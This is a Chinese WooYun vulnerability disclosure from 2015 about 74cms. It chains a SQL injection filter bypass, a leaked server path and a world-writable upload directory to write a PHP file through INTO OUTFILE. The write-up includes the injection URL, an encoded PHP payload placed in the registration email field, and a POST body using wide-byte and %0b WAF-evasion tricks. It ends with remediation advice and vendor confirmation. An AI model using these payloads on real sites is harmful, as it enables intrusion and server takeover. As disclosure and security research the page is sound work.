当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(55) 关注此漏洞

缺陷编号: WooYun-2015-107901

漏洞标题: 骑士CMS多漏洞组合前台GETSHELL(官网demo测试)

相关厂商: 74cms.com

漏洞作者: 龟兔赛跑

提交时间: 2015-04-15 11:13

公开时间: 2015-07-18 16:58

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: sql注射漏洞利用技巧

6人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-15: 细节已通知厂商并且等待厂商处理中
2015-04-19: 厂商已经确认,细节仅向厂商公开
2015-04-22: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-06-13: 细节向核心白帽子及相关领域专家公开
2015-06-23: 细节向普通白帽子公开
2015-07-03: 细节向实习白帽子公开
2015-07-18: 细节向公众公开

简要描述:

骑士CMS多漏洞组合前台GETSHELL(官网demo测试)
http://demo.74cms.com/

详细说明:

通过SQL注入加上select * from table into outfile "filename"来完成SHELL的写入。

必要条件:

1. SQL注入。

2. Server的文件保存路径。

3. 具有写权限的目录。

4. 还有一个是74cms会过滤‘“字符,我们需要有方法能注入’”来完成写入SHELL的SQL语句。



以下逐条详细说明。

0x01: SQL注入

======================================

我们有现成的,74cms一直忽略不修正的这个:http://**.**.**.**/bugs/wooyun-2014-080490(74cms全局SQL注入过滤绕过)。我们使用这个URL:

code 区域
http://**.**.**.**/plus/ajax_user.php?act=check_usname





0x02: Server的文件保存路径。

======================================

这个URL暴露了server的文件路径:

code 区域
http://**.**.**.**/data/filetpl.php



1.png





3. 具有写权限的目录。

======================================

http://**.**.**.**/bugs/wooyun-2014-081223曾经提到过,'data/'目录下很多上传文件的目录创建是0777权限建立的。

注册一个公司用户,长传logo,这是会建立0777权限的目录:'data/logo/2015/04/14',shell就传到这个目录吧。



4. 能带入‘“字符。

======================================

其实这个也很简单,’我们没办法注入。但是74cms提供了带入”的方法。

文件:include/common.fun.php

code 区域
13  function addslashes_deep($value)
14 {
15 if (empty($value))
16 {
17 return $value;
18 }
19 else
20 {
21 if (!get_magic_quotes_gpc())
22 {
23 $value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags(addslashes($value));
24 }
25 else
26 {
27 $value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);
28 }
29 return $value;
30 }
31 }
32 function mystrip_tags($string)
33 {
34 $string = new_html_special_chars($string);
35 $string = remove_xss($string);
36 return $string;
37 }
38 function new_html_special_chars($string) {
39 $string = str_replace(array('&amp;', '&quot;', '&lt;', '&gt;'), array('&', '"', '<', '>'), $string);
40 $string = strip_tags($string);
41 return $string;
42 }





new_html_special_chars()函数做了这个事情:

$string = str_replace(array('&amp;', '&quot;', '&lt;', '&gt;'), array('&', '"', '<', '>'), $string);

也就是在POST或者GET的参数中存在&quot;,都会被替换成"。



万事具备只欠东风。。。风儿那个吹阿吹。。。



因为我们使用的是http://**.**.**.**/plus/ajax_user.php?act=check_usname,这个是查询的用户表,因此我们还需要注册一个用户来带入shell脚本。



注册用户:

2.png



提交注册的时候使用burp拦截一下,我们改一下数据包:

3.png



将payload的email字段改为:

code 区域
%3c%0b%3fphp+phpinfo()%3b+%3f%0b%3e



http://**.**.**.**/bugs/wooyun-2014-080646介绍过<%0b...%0b>会被过滤为<...>

提交注册成功之后我们在浏览器里面看看uid:

4.png





注入生成SHELL:

code 区域
http://**.**.**.**/plus/ajax_user.php?act=check_usname
POST:
usname=%88%ec%27 or uid=744%20in%0bto%20out%0bfile%20%26quot;D:%0b\web\demo\data\logo\2015\04\14\test.php%26quot;%23





%0b会在全剧过滤的时候删除,所以我们利用这个特性绕过安全狗。执行后生成文件D:\web\demo\data\logo\2015\04\14\test.php



浏览器浏览:

http://**.**.**.**/data/logo/2015/04/14/test.php



5.png

漏洞证明:

http://**.**.**.**/data/logo/2015/04/14/test.php

修复方案:

1. utf8_to_gbk转换过的数据去要再次addslashs。

2. 修复http://**.**.**.**/data/filetpl.php暴露路径的问题

版权声明:转载请注明来源 龟兔赛跑@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-04-19 16:56

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
0%
100%
0%
0%
0%

评价

  1. 2015-04-15 11:12 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1358 漏洞数:142 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)
    0

    这个屌!

  2. 2015-07-18 17:33 | 红糖哥 ( 实习白帽子 | Rank:70 漏洞数:9 | 红糖暖胃不暖逼)
    0

    这个屌!

  3. 2015-07-18 23:40 | 二维码 ( 实习白帽子 | Rank:61 漏洞数:4 | 老子跳起来就是个么么哒)
    0

    这个屌!

  4. 2015-07-19 00:33 | 0c0c0f ( 实习白帽子 | Rank:50 漏洞数:16 | My H34rt c4n 3xploit 4ny h0les!)
    0

    这个屌!

  5. 2015-07-19 06:29 | bobbi ( 路人 | Rank:22 漏洞数:8 | 我没什么爱好 平时就爱撸撸管 看看AV)
    0

    这个屌!

登录后才能发表评论,请先 登录